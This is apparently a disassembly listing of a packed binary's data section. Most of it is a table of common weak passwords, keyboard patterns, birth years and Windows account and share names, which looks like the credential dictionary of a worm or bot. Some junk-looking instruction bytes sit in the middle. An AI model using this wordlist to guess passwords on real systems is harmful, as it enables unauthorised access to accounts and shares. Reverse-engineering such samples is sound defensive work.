		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_1		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset off_42EC80
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota	; "TOYOTA"
		dd offset aToyota_0	; "toyota"
		dd offset asc_432C6C	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
; ---------------------------------------------------------------------------
		cld

loc_42E499:				; CODE XREF: .nsp0:0042E4ACj
		jmp	short loc_42E4DD
; ---------------------------------------------------------------------------
		align 4
		clc
		jmp	short loc_42E4E1
; ---------------------------------------------------------------------------
		align 10h
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
; ---------------------------------------------------------------------------
		loopne	loc_42E499
		inc	edx
		add	al, bl
		jmp	short loc_42E4F5
; ---------------------------------------------------------------------------
		align 4
		shr	bl, 1
		inc	edx
		add	ah, al
		jmp	short loc_42E4FD
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 0B40042EBh
		jmp	short loc_42E505
; ---------------------------------------------------------------------------
		align 4
		dd offset aCc		; "cc"
; ---------------------------------------------------------------------------
		lodsb
		jmp	short loc_42E50D
; ---------------------------------------------------------------------------
		align 4
		movsb
		jmp	short loc_42E511
; ---------------------------------------------------------------------------
		align 10h
		pushf
		jmp	short loc_42E515
; ---------------------------------------------------------------------------
		align 4
		xchg	eax, esp
		jmp	short loc_42E519
; ---------------------------------------------------------------------------
		align 4
		dd offset aCcccccc	; "ccccccc"
		db 80h
; ---------------------------------------------------------------------------

loc_42E4DD:				; CODE XREF: .nsp0:loc_42E499j
		jmp	short loc_42E521
; ---------------------------------------------------------------------------
		align 10h
		db 74h
; ---------------------------------------------------------------------------

loc_42E4E1:				; CODE XREF: .nsp0:0042E49Dj
		jmp	short loc_42E525
; ---------------------------------------------------------------------------
		align 4
		dd offset aD		; "d"
		dd offset aDd_2		; "dd"
; ---------------------------------------------------------------------------
		push	600042EBh
		jmp	short near ptr byte_42E535
; ---------------------------------------------------------------------------
		align 4
		pop	eax

loc_42E4F5:				; CODE XREF: .nsp0:0042E4B1j
		jmp	short loc_42E539
; ---------------------------------------------------------------------------
		align 4
		dd offset aF		; "f"
; ---------------------------------------------------------------------------
		push	eax

loc_42E4FD:				; CODE XREF: .nsp0:0042E4B9j
		jmp	short loc_42E541
; ---------------------------------------------------------------------------
		align 10h
		dd offset aFff		; "fff"
		db 44h
; ---------------------------------------------------------------------------

loc_42E505:				; CODE XREF: .nsp0:0042E4C1j
		jmp	short loc_42E549
; ---------------------------------------------------------------------------
		align 4
		cmp	al, 0EBh
		inc	edx
		add	[eax], bh

loc_42E50D:				; CODE XREF: .nsp0:0042E4C9j
		jmp	short loc_42E551
; ---------------------------------------------------------------------------
		align 10h
		db 34h
; ---------------------------------------------------------------------------

loc_42E511:				; CODE XREF: .nsp0:0042E4CDj
		jmp	short near ptr loc_42E551+4
; ---------------------------------------------------------------------------
		align 4
		db 30h
; ---------------------------------------------------------------------------

loc_42E515:				; CODE XREF: .nsp0:0042E4D1j
		jmp	short loc_42E559
; ---------------------------------------------------------------------------
		align 4
		db 28h
; ---------------------------------------------------------------------------

loc_42E519:				; CODE XREF: .nsp0:0042E4D5j
		jmp	short near ptr loc_42E559+4
; ---------------------------------------------------------------------------
		align 4
		and	bl, ch
		inc	edx
		add	[eax], bl

loc_42E521:				; CODE XREF: .nsp0:loc_42E4DDj
		jmp	short loc_42E565
; ---------------------------------------------------------------------------
		align 4
		db 14h
; ---------------------------------------------------------------------------

loc_42E525:				; CODE XREF: .nsp0:loc_42E4E1j
		jmp	short near ptr loc_42E565+4
; ---------------------------------------------------------------------------
		align 4
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		db 0FCh
byte_42E535	db 0EAh, 42h, 0		; CODE XREF: .nsp0:0042E4F1j
		db 0F4h
; ---------------------------------------------------------------------------

loc_42E539:				; CODE XREF: .nsp0:loc_42E4F5j
		jmp	far ptr	42h:0EAF00042h
; ---------------------------------------------------------------------------
		db 0ECh
; ---------------------------------------------------------------------------

loc_42E541:				; CODE XREF: .nsp0:loc_42E4FDj
		jmp	far ptr	42h:0EAE80042h
; ---------------------------------------------------------------------------
		db 0E0h
; ---------------------------------------------------------------------------

loc_42E549:				; CODE XREF: .nsp0:loc_42E505j
		jmp	far ptr	42h:0EAD80042h
; ---------------------------------------------------------------------------
		db 0D0h
; ---------------------------------------------------------------------------

loc_42E551:				; CODE XREF: .nsp0:loc_42E50Dj
					; .nsp0:loc_42E511j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		db 0C8h
; ---------------------------------------------------------------------------

loc_42E559:				; CODE XREF: .nsp0:loc_42E515j
					; .nsp0:loc_42E519j
		jmp	far ptr	42h:0EAC40042h
; ---------------------------------------------------------------------------
		mov	esp, 0B40042EAh

loc_42E565:				; CODE XREF: .nsp0:loc_42E521j
					; .nsp0:loc_42E525j
		jmp	far ptr	42h:0EAAC0042h
; ---------------------------------------------------------------------------
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_42EA60	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_4		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup_0	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset byte_438FDC
		align 8
dword_42E7B8	dd 10h			; DATA XREF: sub_40B075+72w
					; sub_40CE55+B60r ...
a142536		db '142536',0           ; DATA XREF: .nsp0:0042E738o
		align 4
a753951		db '753951',0           ; DATA XREF: .nsp0:0042E734o
		align 4
a951753		db '951753',0           ; DATA XREF: .nsp0:0042E730o
		align 4
a159357		db '159357',0           ; DATA XREF: .nsp0:0042E72Co
		align 4
a753159		db '753159',0           ; DATA XREF: .nsp0:0042E728o
		align 4
a13579		db '13579',0            ; DATA XREF: .nsp0:0042E724o
		align 4
a2684		db '2684',0             ; DATA XREF: .nsp0:0042E720o
		align 4
a2486		db '2486',0             ; DATA XREF: .nsp0:0042E71Co
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: .nsp0:0042E718o
		align 4
aMnb		db 'mnb',0              ; DATA XREF: .nsp0:0042E714o
a112233		db '112233',0           ; DATA XREF: .nsp0:0042E710o
		align 10h
a3wsx		db '3wsx',0             ; DATA XREF: .nsp0:0042E70Co
		align 4
a3edc		db '3edc',0             ; DATA XREF: .nsp0:0042E708o
		align 10h
a2qaz		db '2qaz',0             ; DATA XREF: .nsp0:0042E704o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: .nsp0:0042E700o
		align 10h
a1qaz		db '1qaz',0             ; DATA XREF: .nsp0:0042E6FCo
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: .nsp0:0042E6F8o
		align 10h
aAassdd		db 'aassdd',0           ; DATA XREF: .nsp0:0042E6F4o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: .nsp0:0042E6F0o
		align 10h
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: .nsp0:0042E6ECo
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: .nsp0:0042E6E8o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: .nsp0:0042E6E4o
		align 4
aQqww		db 'qqww',0             ; DATA XREF: .nsp0:0042E6E0o
		align 4
aAass		db 'aass',0             ; DATA XREF: .nsp0:0042E6DCo
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: .nsp0:0042E6D8o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: .nsp0:0042E6D4o
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: .nsp0:0042E6D0o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: .nsp0:0042E6CCo
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: .nsp0:0042E6C8o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: .nsp0:0042E6C4o
aZz		db 'zz',0               ; DATA XREF: .nsp0:0042E6C0o
		align 4
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: .nsp0:0042E6B8o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: .nsp0:0042E6B4o
		align 4
aQqqq		db 'qqqq',0             ; DATA XREF: .nsp0:0042E6B0o
		align 4
aQqq		db 'qqq',0              ; DATA XREF: .nsp0:0042E6ACo
aQq		db 'qq',0               ; DATA XREF: .nsp0:0042E6A8o
		align 4
aQ:					; DATA XREF: .nsp0:0042E6A4o
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: .nsp0:0042E6A0o
		align 10h
aWwwww		db 'wwwww',0            ; DATA XREF: .nsp0:0042E69Co
		align 4
aWwww		db 'wwww',0             ; DATA XREF: .nsp0:0042E698o
		align 10h
aWww		db 'www',0              ; DATA XREF: .nsp0:0042E694o
aWw		db 'ww',0               ; DATA XREF: .nsp0:0042E690o
		align 4
aW:					; DATA XREF: .nsp0:0042E68Co
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: .nsp0:0042E688o
		align 4
aVvvvv		db 'vvvvv',0            ; DATA XREF: .nsp0:0042E684o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: .nsp0:0042E680o
		align 4
aVvv		db 'vvv',0              ; DATA XREF: sub_40CE55+267Co
					; .nsp0:0042E67Co
aVv		db 'vv',0               ; DATA XREF: .nsp0:0042E678o
		align 4
aV:					; DATA XREF: .nsp0:0042E674o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: .nsp0:0042E670o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: .nsp0:0042E66Co
		align 10h
aYyyy		db 'yyyy',0             ; DATA XREF: .nsp0:0042E668o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: .nsp0:0042E664o
aYy		db 'yy',0               ; DATA XREF: .nsp0:0042E660o
		align 10h
aY:					; DATA XREF: .nsp0:0042E65Co
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: .nsp0:0042E658o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: .nsp0:0042E654o
		align 4
aTttt		db 'tttt',0             ; DATA XREF: .nsp0:0042E650o
		align 4
aTtt		db 'ttt',0              ; DATA XREF: .nsp0:0042E64Co
aTt		db 'tt',0               ; DATA XREF: .nsp0:0042E648o
		align 4
aT:					; DATA XREF: .nsp0:0042E644o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: .nsp0:0042E640o
		align 10h
aSssss		db 'sssss',0            ; DATA XREF: .nsp0:0042E63Co
		align 4
aSsss		db 'ssss',0             ; DATA XREF: .nsp0:0042E638o
		align 10h
aSss		db 'sss',0              ; DATA XREF: .nsp0:0042E634o
aSs		db 'ss',0               ; DATA XREF: .nsp0:0042E630o
		align 4
aS_4:					; DATA XREF: .nsp0:0042E62Co
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: .nsp0:0042E628o
		align 4
aUuuuu		db 'uuuuu',0            ; DATA XREF: .nsp0:0042E624o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: .nsp0:0042E620o
		align 4
aUuu		db 'uuu',0              ; DATA XREF: .nsp0:0042E61Co
aUu		db 'uu',0               ; DATA XREF: .nsp0:0042E618o
		align 4
aU:					; DATA XREF: .nsp0:0042E614o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: .nsp0:0042E610o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: .nsp0:0042E60Co
		align 10h
aPppp		db 'pppp',0             ; DATA XREF: .nsp0:0042E608o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: .nsp0:0042E604o
aPp		db 'pp',0               ; DATA XREF: .nsp0:0042E600o
		align 10h
aP:					; DATA XREF: .nsp0:0042E5FCo
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: .nsp0:0042E5F8o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: .nsp0:0042E5F4o
		align 4
aOooo		db 'oooo',0             ; DATA XREF: .nsp0:0042E5F0o
		align 4
aOoo		db 'ooo',0              ; DATA XREF: .nsp0:0042E5ECo
aOo		db 'oo',0               ; DATA XREF: .nsp0:0042E5E8o
		align 4
aO:					; DATA XREF: .nsp0:0042E5E4o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: .nsp0:0042E5E0o
		align 10h
aNnnnn		db 'nnnnn',0            ; DATA XREF: .nsp0:0042E5DCo
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: .nsp0:0042E5D8o
		align 10h
aNnn		db 'nnn',0              ; DATA XREF: .nsp0:0042E5D4o
aNn		db 'nn',0               ; DATA XREF: .nsp0:0042E5D0o
		align 4
aN:					; DATA XREF: .nsp0:0042E5CCo
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: .nsp0:0042E5C8o
		align 4
aMmmmm		db 'mmmmm',0            ; DATA XREF: .nsp0:0042E5C4o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: .nsp0:0042E5C0o
		align 4
aMmm		db 'mmm',0              ; DATA XREF: .nsp0:0042E5BCo
aMm		db 'mm',0               ; DATA XREF: .nsp0:0042E5B8o
		align 4
aM:					; DATA XREF: .nsp0:0042E5B4o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: .nsp0:0042E5B0o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: .nsp0:0042E5ACo
		align 10h
aLlll		db 'llll',0             ; DATA XREF: .nsp0:0042E5A8o
		align 4
aLll		db 'lll',0              ; DATA XREF: .nsp0:0042E5A4o
aLl		db 'll',0               ; DATA XREF: .nsp0:0042E5A0o
		align 10h
asc_42EA60:				; DATA XREF: .nsp0:0042E59Co
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: .nsp0:0042E598o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: .nsp0:0042E594o
		align 4
aKkkk		db 'kkkk',0             ; DATA XREF: .nsp0:0042E590o
		align 4
aKkk		db 'kkk',0              ; DATA XREF: .nsp0:0042E58Co
aKk		db 'kk',0               ; DATA XREF: .nsp0:0042E588o
		align 4
aK:					; DATA XREF: .nsp0:0042E584o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: .nsp0:0042E580o
		align 10h
aJjjjj		db 'jjjjj',0            ; DATA XREF: .nsp0:0042E57Co
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: .nsp0:0042E578o
		align 10h
aJjj		db 'jjj',0              ; DATA XREF: .nsp0:0042E574o
aJj		db 'jj',0               ; DATA XREF: .nsp0:0042E570o
		align 4
aJ:					; DATA XREF: .nsp0:0042E56Co
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0
		align 4
aIiiii		db 'iiiii',0
		align 4
aIiii		db 'iiii',0
		align 4
aIii		db 'iii',0
aIi		db 'ii',0
		align 4
aI_0:
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0
		align 4
aHhhhh		db 'hhhhh',0
		align 10h
aHhhh		db 'hhhh',0
		align 4
aHhh		db 'hhh',0
aHh		db 'hh',0
		align 10h
		unicode	0, <h>,0
aGggggg		db 'gggggg',0
		align 4
aGgggg		db 'ggggg',0
		align 4
aGggg		db 'gggg',0             ; DATA XREF: .nsp0:0042E530o
		align 4
aGgg		db 'ggg',0              ; DATA XREF: .nsp0:0042E52Co
aGg		db 'gg',0               ; DATA XREF: .nsp0:0042E528o
		align 4
aG:
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0
		align 10h
aEeeee		db 'eeeee',0
		align 4
aEeee		db 'eeee',0
		align 10h
aEee		db 'eee',0
aEe		db 'ee',0
		align 4
aE:
		unicode	0, <e>,0
aFffff		db 'fffff',0
		align 4
aFfff		db 'ffff',0
		align 4
aFff		db 'fff',0              ; DATA XREF: .nsp0:0042E500o
aFf		db 'ff',0
		align 4
aF:					; DATA XREF: .nsp0:0042E4F8o
		unicode	0, <f>,0
aDdddd		db 'ddddd',0
		align 10h
aDddd		db 'dddd',0
		align 4
aDdd		db 'ddd',0
aDd_2		db 'dd',0               ; DATA XREF: .nsp0:0042E4E8o
		align 10h
aD:					; DATA XREF: .nsp0:0042E4E4o
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0
		align 10h
aCccccccc	db 'cccccccc',0
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: .nsp0:0042E4D8o
aCccccc		db 'cccccc',0
		align 4
aCcccc		db 'ccccc',0
		align 4
aCccc_0		db 'cccc',0
		align 4
aCcc		db 'ccc',0
aCc		db 'cc',0               ; DATA XREF: .nsp0:0042E4C4o
		align 4
aC_1:
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0
		align 4
aBbbbbbbb	db 'bbbbbbbb',0
		align 10h
aBbbbbbb	db 'bbbbbbb',0
aBbbbbb		db 'bbbbbb',0
		align 10h
aBbbbb		db 'bbbbb',0
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: .nsp0:0042E4A8o
		align 10h
aBbb		db 'bbb',0              ; DATA XREF: .nsp0:0042E4A4o
aBb		db 'bb',0               ; DATA XREF: .nsp0:0042E4A0o
		align 4
aB_0:
		unicode	0, <b>,0
aRfv		db 'rfv',0
aEdc		db 'edc',0              ; DATA XREF: .nsp0:0042E494o
aWsx		db 'wsx',0              ; DATA XREF: .nsp0:0042E490o
aQaz		db 'qaz',0              ; DATA XREF: .nsp0:0042E48Co
